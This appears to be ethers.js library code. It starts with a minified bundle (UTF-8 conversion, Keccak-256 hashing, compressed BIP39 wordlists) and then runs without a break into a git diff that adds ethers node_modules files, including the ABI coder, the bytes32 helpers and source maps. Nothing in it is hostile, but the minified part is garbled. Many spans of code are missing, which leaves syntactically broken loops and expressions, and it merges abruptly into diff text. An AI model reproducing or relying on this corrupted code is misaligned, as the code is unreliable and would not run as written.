if((c&248)===240){extraLength=3;overlongMask=65535}else{if((c&192)===128){i+=onError("UNEXPECTED_CONTINUE",i-1,bytes,result)}else{i+=onError("BAD_PREFIX",i-1,bytes,result)}continue}if(i-1+extraLength>=bytes.length){i+=onError("OVERRUN",i-1,bytes,result);continue}let res=c&(1<<8-extraLength-1)-1;for(let j=0;j1114111){i+=onError("OUT_OF_RANGE",i-1-extraLength,bytes,result,res);continue}if(res>=55296&&res<=57343){i+=onError("UTF16_SURROGATE",i-1-extraLength,bytes,result,res);continue}if(res<=overlongMask){i+=onError("OVERLONG",i-1-extraLength,bytes,result,res);continue}result.push(res)}return result}function toUtf8Bytes(str,form){assertArgument(typeof str==="string","invalid string value","str",str);let result=[];for(let i=0;i>6|192);result.push(c&63|128)}else if((c&64512)==55296){i++;const c2=str.charCodeAt(i);assertArgument(i>18|240);result.push(pair>>12&63|128);result.push(pair>>6&63|128);result.push(pair&63|128)}else{result.push(c>>12|224);result.push(c>>6&63|128);result.push(c&63|128)}}return new Uint8Array(result)}function _toUtf8String(codePoints){return codePoints.map(codePoint=>{if(codePoint<=65535){return String.fromCharCode(codePoint)}codePoint-=65536;return String.fromCharCode((codePoint>>10&1023)+55296,(codePoint&1023)+56320)}).join("")}function toUtf8String(bytes,onError){return _toUtf8String(getUtf8CodePoints(bytes,onError))}const[SHA3_PI,SHA3_ROTL,_SHA3_IOTA]=[[],[],[]];const _0n=BigInt(0);const _1n=BigInt(1);const _2n=BigInt(2);const _7n=BigInt(7);const _256n=BigInt(256);const _0x71n=BigInt(113);for(let round=0,R=_1n,x=1,y=0;round<24;round++){[x,y]=[y,(2*x+3*y)%5];SHA3_PI.push(2*(5*y+x));SHA3_ROTL.push((round+1)*(round+2)/2%64);let t=_0n;for(let j=0;j<7;j++){R=(R<<_1n^(R>>_7n)*_0x71n)%_256n;if(R&_2n)t^=_1n<<(_1n<s>32?rotlBH(h,l,s):rotlSH(h,l,s);const rotlL=(h,l,s)=>s>32?rotlBL(h,l,s):rotlSL(h,l,s);function keccakP(s,rounds=24){const B=new Uint32Array(5*2);for(let round=24-rounds;round<24;round++){for(let x=0;x<10;x++)B[x]=s[x]^s[x+10]^s[x+20]^s[x+30]^s[x+40];for(let x=0;x<10;x+=2){const idx1=(x+8)%10;const idx0=(x+2)%10;const B0=B[idx0];const B1=B[idx0+1];const Th=rotlH(B0,B1,1)^B[idx1];const Tl=rotlL(B0,B1,1)^B[idx1+1];for(let y=0;y<50;y+=10){s[x+y]^=Th;s[x+y+1]^=Tl}}let curH=s[2];let curL=s[3];for(let t=0;t<24;t++){const shift=SHA3_ROTL[t];const Th=rotlH(curH,curL,shift);const Tl=rotlL(curH,curL,shift);const PI=SHA3_PI[t];curH=s[PI];curL=s[PI+1];s[PI]=Th;s[PI+1]=Tl}for(let y=0;y<50;y+=10){for(let x=0;x<10;x++)B[x]=s[y+x];for(let x=0;x<10;x++)s[y+x]^=~B[(x+2)%10]&B[(x+4)%10]}s[0]^=SHA3_IOTA_H[round];s[1]^=SHA3_IOTA_L[round]}B.fill(0)}class Keccak extends Hash{constructor(blockLen,suffix,outputLen,enableXOF=false,rounds=24){super();this.blockLen=blockLen;this.suffix=suffix;this.outputLen=outputLen;this.enableXOF=enableXOF;this.rounds=rounds;this.pos=0;this.posOut=0;this.finished=false;this.destroyed=false;number(outputLen);if(0>=this.blockLen||this.blockLen>=200)throw new Error("Sha3 supports only keccak-f1600 function");this.state=new Uint8Array(200);this.state32=u32(this.state)}keccak(){keccakP(this.state32,this.rounds);this.posOut=0;this.pos=0}update(data){exists(this);const{blockLen,state}=this;data=toBytes(data);const len=data.length;for(let pos=0;pos=blockLen)this.keccak();const take=Math.min(blockLen-this.posOut,len-pos);out.set(bufferOut.subarray(this.posOut,this.posOut+take),pos);this.posOut+=take;pos+=take}return out}xofInto(out){if(!this.enableXOF)throw new Error("XOF is not possible for this instance");return this.writeInto(out)}xof(bytes){number(bytes);return this.xofInto(new Uint8Array(bytes))}digestInto(out){output(out,this);if(this.finished)throw new Error("digest() was already called");this.writeInto(out);this.destroy();return out}digest(){return this.digestInto(new Uint8Array(this.outputLen))}destroy(){this.destroyed=true;this.state.fill(0)}_cloneInto(to){const{blockLen,suffix,outputLen,rounds,enableXOF}=this;to||(to=new Keccak(blockLen,suffix,outputLen,enableXOF,rounds));to.state32.set(this.state32);to.pos=this.pos;to.posOut=this.posOut;to.finished=this.finished;to.rounds=rounds;to.suffix=suffix;to.outputLen=outputLen;to.enableXOF=enableXOF;to.destroyed=this.destroyed;return to}}const gen=(suffix,blockLen,outputLen)=>wrapConstructor(()=>new Keccak(blockLen,suffix,outputLen));const keccak_256=gen(1,136,256/8);let locked=false;const _keccak256=function(data){return keccak_256(data)};let __keccak256=_keccak256;function keccak256(_data){const data=getBytes(_data,"data");return hexlify(__keccak256(data))}keccak256._=_keccak256;keccak256.lock=function(){locked=true};keccak256.register=function(func){if(locked){throw new TypeError("keccak256 is locked")}__keccak256=func};Object.freeze(keccak256);function id(value){return keccak256(toUtf8Bytes(value))}const subsChrs=" !#$%&'()*+,-./<=>?@[]^_`{|}~";const Word=/^[a-z]*$/i;function unfold(words,sep){let initial=97;return words.reduce((accum,word)=>{if(word===sep){initial++}else if(word.match(Word)){accum.push(String.fromCharCode(initial)+word)}else{initial=97;accum.push(word)}return accum},[])}function decode(data,subs){for(let i=subsChrs.length-1;i>=0;i--){data=data.split(subsChrs[i]).join(subs.substring(2*i,2*i+2))}const clumps=[];const leftover=data.replace(/(:|([0-9])|([A-Z][a-z]*))/g,(all,item,semi,word)=>{if(semi){for(let i=parseInt(semi);i>=0;i--){clumps.push(";")}}else{clumps.push(item.toLowerCase())}return""});if(leftover){throw new Error(`leftovers: ${JSON.stringify(leftover)}`)}return unfold(unfold(clumps,";"),":")}function decodeOwl(data){assertArgument(data[0]==="0","unsupported auwl data","data",data);return decode(data.substring(1+2*subsChrs.length),data.substring(1,1+2*subsChrs.length))}class Wordlist{locale;constructor(locale){defineProperties(this,{locale:locale})}split(phrase){return phrase.toLowerCase().split(/\s+/g)}join(words){return words.join(" ")}}class WordlistOwl extends Wordlist{#data;#checksum;constructor(locale,data,checksum){super(locale);this.#data=data;this.#checksum=checksum;this.#words=null}get _data(){return this.#data}_decodeWords(){return decodeOwl(this.#data)}#words;#loadWords(){if(this.#words==null){const words=this._decodeWords();const checksum=id(words.join("\n")+"\n");if(checksum!==this.#checksum){throw new Error(`BIP39 Wordlist for ${this.locale} FAILED`)}this.#words=words}return this.#words}getWord(index){const words=this.#loadWords();assertArgument(index>=0&&index=width){const value=accum>>bits-width;accum&=(1<{const match=accent.match(/^([a-z]*)([0-9]+)([0-9])(.*)$/);assertArgument(match!==null,"internal error parsing accents","accents",accents);let posOffset=0;const positions=decodeBits(parseInt(match[3]),match[4]);const charCode=parseInt(match[2]);const regex=new RegExp(`([${match[1]}])`,"g");words=words.replace(regex,(all,letter)=>{const rem=--positions[posOffset];if(rem===0){letter=String.fromCharCode(letter.charCodeAt(0),charCode);posOffset++}return letter})});return words.split(",")}class WordlistOwlA extends WordlistOwl{#accent;constructor(locale,data,accent,checksum){super(locale,data,checksum);this.#accent=accent}get _accent(){return this.#accent}_decodeWords(){return decodeOwlA(this._data,this._accent)}}const words$3="0arertoiotadonoaRteirroenaNonaLsolocoiliaralaorrenadaChoN$n0A>Dom,EjaI!#Oga&O'Or#RazoR*Ue=U<0Ab Adem@CeLe%OmoRa!RozUn0DazD$GeLaM,#S,)T^0AlAnceA+EEl]`E`EstruzI.I<2ErU{U'0Af[nArO)Uc Uf_Ul:BaB^|eH@IleJ Lanz/c.LdeMbuN>Nd-oRb(>RnizR+Scu]S#nSu[Tal]T!@T*Tu%UlZ 3BeBid/=S SoSt@3|oEnNgo2An>OqueUsa2ABi`BoCaCi`DaDegaIn//!oLsaMb-{dNi#N}saiRdeRr SqueTeTinVe{Zal2AvoAzoEchaEveIl=In>IsaOcaOmaOnceO)UjaUs>U#2CeoCleE'EyFan{F.HoIt_L#Rbuj(l(+Sc TacaZ.:Bal=BezaBi`B[CaoDav!D,aErFeI{ImanJaJ.LLam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z3B$Bu+nEmpoEn{Er[EPoR(.TanT!eTu=Za5Al]B?=C Ci'DoG/&M N}#P PeQueRaxR!oRm,%RneoRoRpe&R_RS!Xi>2AbajoAc#rA!Afi>AgoAjeAmoAnceA#AumaAz EbolEguaEin%EnEp EsIbuIgoIpaIs)IunfoOfeoOmpaOn>OpaO)OzoU>Ue'Ufa2B!@BoEr#MbaM^NelNic(bin(ismoR'T^:0Ic 9C!a0B[l0I{dIrIv!b){return 1}return 0}for(let length=3;length<=9;length++){const d=data$2[length-3];for(let offset=0;offset=0&&index=40){code=code+168-40}else if(code>=19){code=code+97-19}return toUtf8String(new Uint8Array([225,(code>>6)+132,(code&63)+128]))}let _wordlist$1=null;function loadWords$1(){if(_wordlist$1!=null){return _wordlist$1}const wordlist=[];data$1.forEach((data,length)=>{length+=4;for(let i=0;i=0&&index>2),128+codes.indexOf(data[i*3+1]),128+codes.indexOf(data[i*3+2])];if(locale==="zh_tw"){const common=s%4;for(let i=common;i<3;i++){bytes[i]=codes.indexOf(deltaData[deltaOffset++])+(i==0?228:128)}}wordlist.push(toUtf8String(new Uint8Array(bytes)))}const checksum=id(wordlist.join("\n")+"\n");if(checksum!==Checks[locale]){throw new Error(`BIP39 Wordlist for ${locale} (Chinese) FAILED`)}_wordlist[locale]=wordlist;return wordlist}const wordlists={};class LangZh extends Wordlist{constructor(dialect){super("zh_"+dialect)}getWord(index){const words=loadWords(this.locale);assertArgument(index>=0&&index): Result; + /** + * Encode the %%values%% as the %%types%% into ABI data. + * + * @returns DataHexstring + */ + encode(types: ReadonlyArray, values: ReadonlyArray): string; + /** + * Decode the ABI %%data%% as the %%types%% into values. + * + * If %%loose%% decoding is enabled, then strict padding is + * not enforced. Some older versions of Solidity incorrectly + * padded event data emitted from ``external`` functions. + */ + decode(types: ReadonlyArray, data: BytesLike, loose?: boolean): Result; + static _setDefaultMaxInflation(value: number): void; + /** + * Returns the shared singleton instance of a default [[AbiCoder]]. + * + * On the first call, the instance is created internally. + */ + static defaultAbiCoder(): AbiCoder; + /** + * Returns an ethers-compatible [[CallExceptionError]] Error for the given + * result %%data%% for the [[CallExceptionAction]] %%action%% against + * the Transaction %%tx%%. + */ + static getBuiltinCallException(action: CallExceptionAction, tx: { + to?: null | string; + from?: null | string; + data?: string; + }, data: null | BytesLike): CallExceptionError; +} +//# sourceMappingURL=abi-coder.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/abi-coder.d.ts.map b/node_modules/ethers/lib.commonjs/abi/abi-coder.d.ts.map new file mode 100644 index 000000000000..0a0c483ef07e --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/abi-coder.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"abi-coder.d.ts","sourceRoot":"","sources":["../../src.ts/abi/abi-coder.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAMH,OAAO,EAAiB,MAAM,EAAU,MAAM,4BAA4B,CAAC;AAU3E,OAAO,EAAE,SAAS,EAAE,MAAM,gBAAgB,CAAC;AAK3C,OAAO,KAAK,EACR,SAAS,EACT,mBAAmB,EAAE,kBAAkB,EAC1C,MAAM,mBAAmB,CAAC;AAuF3B;;;GAGG;AACH,qBAAa,QAAQ;;IA4CjB;;;;;OAKG;IACH,eAAe,CAAC,KAAK,EAAE,aAAa,CAAC,MAAM,GAAG,SAAS,CAAC,GAAG,MAAM;IAMjE;;;;OAIG;IACH,MAAM,CAAC,KAAK,EAAE,aAAa,CAAC,MAAM,GAAG,SAAS,CAAC,EAAE,MAAM,EAAE,aAAa,CAAC,GAAG,CAAC,GAAG,MAAM;IAWpF;;;;;;OAMG;IACH,MAAM,CAAC,KAAK,EAAE,aAAa,CAAC,MAAM,GAAG,SAAS,CAAC,EAAE,IAAI,EAAE,SAAS,EAAE,KAAK,CAAC,EAAE,OAAO,GAAG,MAAM;IAM1F,MAAM,CAAC,uBAAuB,CAAC,KAAK,EAAE,MAAM,GAAG,IAAI;IAKnD;;;;OAIG;IACH,MAAM,CAAC,eAAe,IAAI,QAAQ;IAOlC;;;;OAIG;IACH,MAAM,CAAC,uBAAuB,CAAC,MAAM,EAAE,mBAAmB,EAAE,EAAE,EAAE;QAAE,EAAE,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC;QAAC,IAAI,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC;QAAC,IAAI,CAAC,EAAE,MAAM,CAAA;KAAE,EAAE,IAAI,EAAE,IAAI,GAAG,SAAS,GAAG,kBAAkB;CAG3K"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/abi-coder.js b/node_modules/ethers/lib.commonjs/abi/abi-coder.js new file mode 100644 index 000000000000..78eb80db43e3 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/abi-coder.js @@ -0,0 +1,210 @@ +"use strict"; +/** + * When sending values to or receiving values from a [[Contract]], the + * data is generally encoded using the [ABI standard](link-solc-abi). + * + * The AbiCoder provides a utility to encode values to ABI data and + * decode values from ABI data. + * + * Most of the time, developers should favour the [[Contract]] class, + * which further abstracts a lot of the finer details of ABI data. + * + * @_section api/abi/abi-coder:ABI Encoding + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.AbiCoder = void 0; +// See: https://github.com/ethereum/wiki/wiki/Ethereum-Contract-ABI +const index_js_1 = require("../utils/index.js"); +const abstract_coder_js_1 = require("./coders/abstract-coder.js"); +const address_js_1 = require("./coders/address.js"); +const array_js_1 = require("./coders/array.js"); +const boolean_js_1 = require("./coders/boolean.js"); +const bytes_js_1 = require("./coders/bytes.js"); +const fixed_bytes_js_1 = require("./coders/fixed-bytes.js"); +const null_js_1 = require("./coders/null.js"); +const number_js_1 = require("./coders/number.js"); +const string_js_1 = require("./coders/string.js"); +const tuple_js_1 = require("./coders/tuple.js"); +const fragments_js_1 = require("./fragments.js"); +const index_js_2 = require("../address/index.js"); +const index_js_3 = require("../utils/index.js"); +// https://docs.soliditylang.org/en/v0.8.17/control-structures.html +const PanicReasons = new Map(); +PanicReasons.set(0x00, "GENERIC_PANIC"); +PanicReasons.set(0x01, "ASSERT_FALSE"); +PanicReasons.set(0x11, "OVERFLOW"); +PanicReasons.set(0x12, "DIVIDE_BY_ZERO"); +PanicReasons.set(0x21, "ENUM_RANGE_ERROR"); +PanicReasons.set(0x22, "BAD_STORAGE_DATA"); +PanicReasons.set(0x31, "STACK_UNDERFLOW"); +PanicReasons.set(0x32, "ARRAY_RANGE_ERROR"); +PanicReasons.set(0x41, "OUT_OF_MEMORY"); +PanicReasons.set(0x51, "UNINITIALIZED_FUNCTION_CALL"); +const paramTypeBytes = new RegExp(/^bytes([0-9]*)$/); +const paramTypeNumber = new RegExp(/^(u?int)([0-9]*)$/); +let defaultCoder = null; +let defaultMaxInflation = 1024; +function getBuiltinCallException(action, tx, data, abiCoder) { + let message = "missing revert data"; + let reason = null; + const invocation = null; + let revert = null; + if (data) { + message = "execution reverted"; + const bytes = (0, index_js_3.getBytes)(data); + data = (0, index_js_3.hexlify)(data); + if (bytes.length === 0) { + message += " (no data present; likely require(false) occurred"; + reason = "require(false)"; + } + else if (bytes.length % 32 !== 4) { + message += " (could not decode reason; invalid data length)"; + } + else if ((0, index_js_3.hexlify)(bytes.slice(0, 4)) === "0x08c379a0") { + // Error(string) + try { + reason = abiCoder.decode(["string"], bytes.slice(4))[0]; + revert = { + signature: "Error(string)", + name: "Error", + args: [reason] + }; + message += `: ${JSON.stringify(reason)}`; + } + catch (error) { + message += " (could not decode reason; invalid string data)"; + } + } + else if ((0, index_js_3.hexlify)(bytes.slice(0, 4)) === "0x4e487b71") { + // Panic(uint256) + try { + const code = Number(abiCoder.decode(["uint256"], bytes.slice(4))[0]); + revert = { + signature: "Panic(uint256)", + name: "Panic", + args: [code] + }; + reason = `Panic due to ${PanicReasons.get(code) || "UNKNOWN"}(${code})`; + message += `: ${reason}`; + } + catch (error) { + message += " (could not decode panic code)"; + } + } + else { + message += " (unknown custom error)"; + } + } + const transaction = { + to: (tx.to ? (0, index_js_2.getAddress)(tx.to) : null), + data: (tx.data || "0x") + }; + if (tx.from) { + transaction.from = (0, index_js_2.getAddress)(tx.from); + } + return (0, index_js_3.makeError)(message, "CALL_EXCEPTION", { + action, data, reason, transaction, invocation, revert + }); +} +/** + * The **AbiCoder** is a low-level class responsible for encoding JavaScript + * values into binary data and decoding binary data into JavaScript values. + */ +class AbiCoder { + #getCoder(param) { + if (param.isArray()) { + return new array_js_1.ArrayCoder(this.#getCoder(param.arrayChildren), param.arrayLength, param.name); + } + if (param.isTuple()) { + return new tuple_js_1.TupleCoder(param.components.map((c) => this.#getCoder(c)), param.name); + } + switch (param.baseType) { + case "address": + return new address_js_1.AddressCoder(param.name); + case "bool": + return new boolean_js_1.BooleanCoder(param.name); + case "string": + return new string_js_1.StringCoder(param.name); + case "bytes": + return new bytes_js_1.BytesCoder(param.name); + case "": + return new null_js_1.NullCoder(param.name); + } + // u?int[0-9]* + let match = param.type.match(paramTypeNumber); + if (match) { + let size = parseInt(match[2] || "256"); + (0, index_js_1.assertArgument)(size !== 0 && size <= 256 && (size % 8) === 0, "invalid " + match[1] + " bit length", "param", param); + return new number_js_1.NumberCoder(size / 8, (match[1] === "int"), param.name); + } + // bytes[0-9]+ + match = param.type.match(paramTypeBytes); + if (match) { + let size = parseInt(match[1]); + (0, index_js_1.assertArgument)(size !== 0 && size <= 32, "invalid bytes length", "param", param); + return new fixed_bytes_js_1.FixedBytesCoder(size, param.name); + } + (0, index_js_1.assertArgument)(false, "invalid type", "type", param.type); + } + /** + * Get the default values for the given %%types%%. + * + * For example, a ``uint`` is by default ``0`` and ``bool`` + * is by default ``false``. + */ + getDefaultValue(types) { + const coders = types.map((type) => this.#getCoder(fragments_js_1.ParamType.from(type))); + const coder = new tuple_js_1.TupleCoder(coders, "_"); + return coder.defaultValue(); + } + /** + * Encode the %%values%% as the %%types%% into ABI data. + * + * @returns DataHexstring + */ + encode(types, values) { + (0, index_js_1.assertArgumentCount)(values.length, types.length, "types/values length mismatch"); + const coders = types.map((type) => this.#getCoder(fragments_js_1.ParamType.from(type))); + const coder = (new tuple_js_1.TupleCoder(coders, "_")); + const writer = new abstract_coder_js_1.Writer(); + coder.encode(writer, values); + return writer.data; + } + /** + * Decode the ABI %%data%% as the %%types%% into values. + * + * If %%loose%% decoding is enabled, then strict padding is + * not enforced. Some older versions of Solidity incorrectly + * padded event data emitted from ``external`` functions. + */ + decode(types, data, loose) { + const coders = types.map((type) => this.#getCoder(fragments_js_1.ParamType.from(type))); + const coder = new tuple_js_1.TupleCoder(coders, "_"); + return coder.decode(new abstract_coder_js_1.Reader(data, loose, defaultMaxInflation)); + } + static _setDefaultMaxInflation(value) { + (0, index_js_1.assertArgument)(typeof (value) === "number" && Number.isInteger(value), "invalid defaultMaxInflation factor", "value", value); + defaultMaxInflation = value; + } + /** + * Returns the shared singleton instance of a default [[AbiCoder]]. + * + * On the first call, the instance is created internally. + */ + static defaultAbiCoder() { + if (defaultCoder == null) { + defaultCoder = new AbiCoder(); + } + return defaultCoder; + } + /** + * Returns an ethers-compatible [[CallExceptionError]] Error for the given + * result %%data%% for the [[CallExceptionAction]] %%action%% against + * the Transaction %%tx%%. + */ + static getBuiltinCallException(action, tx, data) { + return getBuiltinCallException(action, tx, data, AbiCoder.defaultAbiCoder()); + } +} +exports.AbiCoder = AbiCoder; +//# sourceMappingURL=abi-coder.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/abi-coder.js.map b/node_modules/ethers/lib.commonjs/abi/abi-coder.js.map new file mode 100644 index 000000000000..5a6cbbf3f85b --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/abi-coder.js.map @@ -0,0 +1 @@ +{"version":3,"file":"abi-coder.js","sourceRoot":"","sources":["../../src.ts/abi/abi-coder.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;GAWG;;;AAEH,mEAAmE;AAEnE,gDAAwE;AAExE,kEAA2E;AAC3E,oDAAmD;AACnD,gDAA+C;AAC/C,oDAAmD;AACnD,gDAA+C;AAC/C,4DAA0D;AAC1D,8CAA6C;AA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G;IACH,MAAM,CAAC,KAAwC,EAAE,IAAe,EAAE,KAAe;QAC7E,MAAM,MAAM,GAAiB,KAAK,CAAC,GAAG,CAAC,CAAC,IAAI,EAAE,EAAE,CAAC,IAAI,CAAC,SAAS,CAAC,wBAAS,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;QACvF,MAAM,KAAK,GAAG,IAAI,qBAAU,CAAC,MAAM,EAAE,GAAG,CAAC,CAAC;QAC1C,OAAO,KAAK,CAAC,MAAM,CAAC,IAAI,0BAAM,CAAC,IAAI,EAAE,KAAK,EAAE,mBAAmB,CAAC,CAAC,CAAC;IACtE,CAAC;IAED,MAAM,CAAC,uBAAuB,CAAC,KAAa;QACxC,IAAA,yBAAc,EAAC,OAAM,CAAC,KAAK,CAAC,KAAK,QAAQ,IAAI,MAAM,CAAC,SAAS,CAAC,KAAK,CAAC,EAAE,oCAAoC,EAAE,OAAO,EAAE,KAAK,CAAC,CAAC;QAC5H,mBAAmB,GAAG,KAAK,CAAC;IAChC,CAAC;IAED;;;;OAIG;IACH,MAAM,CAAC,eAAe;QAClB,IAAI,YAAY,IAAI,IAAI,EAAE;YACtB,YAAY,GAAG,IAAI,QAAQ,EAAE,CAAC;SACjC;QACD,OAAO,YAAY,CAAC;IACxB,CAAC;IAED;;;;OAIG;IACH,MAAM,CAAC,uBAAuB,CAAC,MAA2B,EAAE,EAA+D,EAAE,IAAsB;QAC/I,OAAO,uBAAuB,CAAC,MAAM,EAAE,EAAE,EAAE,IAAI,EAAE,QAAQ,CAAC,eAAe,EAAE,CAAC,CAAC;IACjF,CAAC;CACJ;AA9GD,4BA8GC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/bytes32.d.ts b/node_modules/ethers/lib.commonjs/abi/bytes32.d.ts new file mode 100644 index 000000000000..73455cb5d7f9 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/bytes32.d.ts @@ -0,0 +1,15 @@ +/** + * About bytes32 strings... + * + * @_docloc: api/utils:Bytes32 Strings + */ +import type { BytesLike } from "../utils/index.js"; +/** + * Encodes %%text%% as a Bytes32 string. + */ +export declare function encodeBytes32String(text: string): string; +/** + * Encodes the Bytes32-encoded %%bytes%% into a string. + */ +export declare function decodeBytes32String(_bytes: BytesLike): string; +//# sourceMappingURL=bytes32.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/bytes32.d.ts.map b/node_modules/ethers/lib.commonjs/abi/bytes32.d.ts.map new file mode 100644 index 000000000000..1d56cd6f4d91 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/bytes32.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"bytes32.d.ts","sourceRoot":"","sources":["../../src.ts/abi/bytes32.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAMH,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAEnD;;GAEG;AACH,wBAAgB,mBAAmB,CAAC,IAAI,EAAE,MAAM,GAAG,MAAM,CAUxD;AAED;;GAEG;AACH,wBAAgB,mBAAmB,CAAC,MAAM,EAAE,SAAS,GAAG,MAAM,CAa7D"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/bytes32.js b/node_modules/ethers/lib.commonjs/abi/bytes32.js new file mode 100644 index 000000000000..e5c22aa37b45 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/bytes32.js @@ -0,0 +1,45 @@ +"use strict"; +/** + * About bytes32 strings... + * + * @_docloc: api/utils:Bytes32 Strings + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.decodeBytes32String = exports.encodeBytes32String = void 0; +const index_js_1 = require("../utils/index.js"); +/** + * Encodes %%text%% as a Bytes32 string. + */ +function encodeBytes32String(text) { + // Get the bytes + const bytes = (0, index_js_1.toUtf8Bytes)(text); + // Check we have room for null-termination + if (bytes.length > 31) { + throw new Error("bytes32 string must be less than 32 bytes"); + } + // Zero-pad (implicitly null-terminates) + return (0, index_js_1.zeroPadBytes)(bytes, 32); +} +exports.encodeBytes32String = encodeBytes32String; +/** + * Encodes the Bytes32-encoded %%bytes%% into a string. + */ +function decodeBytes32String(_bytes) { + const data = (0, index_js_1.getBytes)(_bytes, "bytes"); + // Must be 32 bytes with a null-termination + if (data.length !== 32) { + throw new Error("invalid bytes32 - not 32 bytes long"); + } + if (data[31] !== 0) { + throw new Error("invalid bytes32 string - no null terminator"); + } + // Find the null termination + let length = 31; + while (data[length - 1] === 0) { + length--; + } + // Determine the string value + return (0, index_js_1.toUtf8String)(data.slice(0, length)); +} +exports.decodeBytes32String = decodeBytes32String; +//# sourceMappingURL=bytes32.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/bytes32.js.map b/node_modules/ethers/lib.commonjs/abi/bytes32.js.map new file mode 100644 index 000000000000..9e0828f84200 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/bytes32.js.map @@ -0,0 +1 @@ +{"version":3,"file":"bytes32.js","sourceRoot":"","sources":["../../src.ts/abi/bytes32.ts"],"names":[],"mappings":";AAAA;;;;GAIG;;;AAEH,gDAE2B;AAI3B;;GAEG;AACH,SAAgB,mBAAmB,CAAC,IAAY;IAE5C,gBAAgB;IAChB,MAAM,KAAK,GAAG,IAAA,sBAAW,EAAC,IAAI,CAAC,CAAC;IAEhC,0CAA0C;IAC1C,IAAI,KAAK,CAAC,MAAM,GAAG,EAAE,EAAE;QAAE,MAAM,IAAI,KAAK,CAAC,2CAA2C,CAAC,CAAC;KAAE;IAExF,wCAAwC;IACxC,OAAO,IAAA,uBAAY,EAAC,KAAK,EAAE,EAAE,CAAC,CAAC;AACnC,CAAC;AAVD,kDAUC;AAED;;GAEG;AACH,SAAgB,mBAAmB,CAAC,MAAiB;IACjD,MAAM,IAAI,GAAG,IAAA,mBAAQ,EAAC,MAAM,EAAE,OAAO,CAAC,CAAC;IAEvC,2CAA2C;IAC3C,IAAI,IAAI,CAAC,MAAM,KAAK,EAAE,EAAE;QAAE,MAAM,IAAI,KAAK,CAAC,qCAAqC,CAAC,CAAC;KAAE;IACnF,IAAI,IAAI,CAAC,EAAE,CAAC,KAAK,CAAC,EAAE;QAAE,MAAM,IAAI,KAAK,CAAC,6CAA6C,CAAC,CAAC;KAAE;IAEvF,4BAA4B;IAC5B,IAAI,MAAM,GAAG,EAAE,CAAC;IAChB,OAAO,IAAI,CAAC,MAAM,GAAG,CAAC,CAAC,KAAK,CAAC,EAAE;QAAE,MAAM,EAAE,CAAC;KAAE;IAE5C,6BAA6B;IAC7B,OAAO,IAAA,uBAAY,EAAC,IAAI,CAAC,KAAK,CAAC,CAAC,EAAE,MAAM,CAAC,CAAC,CAAC;AAC/C,CAAC;AAbD,kDAaC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/abstract-coder.d.ts b/node_modules/ethers/lib.commonjs/abi/coders/abstract-coder.d.ts new file mode 100644 index 000000000000..6223aea06f05 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/abstract-coder.d.ts @@ -0,0 +1,124 @@ +import type { BigNumberish, BytesLike } from "../../utils/index.js"; +/** + * @_ignore: + */ +export declare const WordSize: number; +/** + * A [[Result]] is a sub-class of Array, which allows accessing any + * of its values either positionally by its index or, if keys are + * provided by its name. + * + * @_docloc: api/abi + */ +export declare class Result extends Array { + #private; + [K: string | number]: any; + /** + * @private + */ + constructor(...args: Array); + /** + * Returns the Result as a normal Array. If %%deep%%, any children + * which are Result objects are also converted to a normal Array. + * + * This will throw if there are any outstanding deferred + * errors. + */ + toArray(deep?: boolean): Array; + /** + * Returns the Result as an Object with each name-value pair. If + * %%deep%%, any children which are Result objects are also + * converted to an Object. + * + * This will throw if any value is unnamed, or if there are + * any outstanding deferred errors. + */ + toObject(deep?: boolean): Record; + /** + * @_ignore + */ + slice(start?: number | undefined, end?: number | undefined): Result; + /** + * @_ignore + */ + filter(callback: (el: any, index: number, array: Result) => boolean, thisArg?: any): Result; + /** + * @_ignore + */ + map(callback: (el: any, index: number, array: Result) => T, thisArg?: any): Array; + /** + * Returns the value for %%name%%. + * + * Since it is possible to have a key whose name conflicts with + * a method on a [[Result]] or its superclass Array, or any + * JavaScript keyword, this ensures all named values are still + * accessible by name. + */ + getValue(name: string): any; + /** + * Creates a new [[Result]] for %%items%% with each entry + * also accessible by its corresponding name in %%keys%%. + */ + static fromItems(items: Array, keys?: Array): Result; +} +/** + * Returns all errors found in a [[Result]]. + * + * Since certain errors encountered when creating a [[Result]] do + * not impact the ability to continue parsing data, they are + * deferred until they are actually accessed. Hence a faulty string + * in an Event that is never used does not impact the program flow. + * + * However, sometimes it may be useful to access, identify or + * validate correctness of a [[Result]]. + * + * @_docloc api/abi + */ +export declare function checkResultErrors(result: Result): Array<{ + path: Array; + error: Error; +}>; +/** + * @_ignore + */ +export declare abstract class Coder { + readonly name: string; + readonly type: string; + readonly localName: string; + readonly dynamic: boolean; + constructor(name: string, type: string, localName: string, dynamic: boolean); + _throwError(message: string, value: any): never; + abstract encode(writer: Writer, value: any): number; + abstract decode(reader: Reader): any; + abstract defaultValue(): any; +} +/** + * @_ignore + */ +export declare class Writer { + #private; + constructor(); + get data(): string; + get length(): number; + appendWriter(writer: Writer): number; + writeBytes(value: BytesLike): number; + writeValue(value: BigNumberish): number; + writeUpdatableValue(): (value: 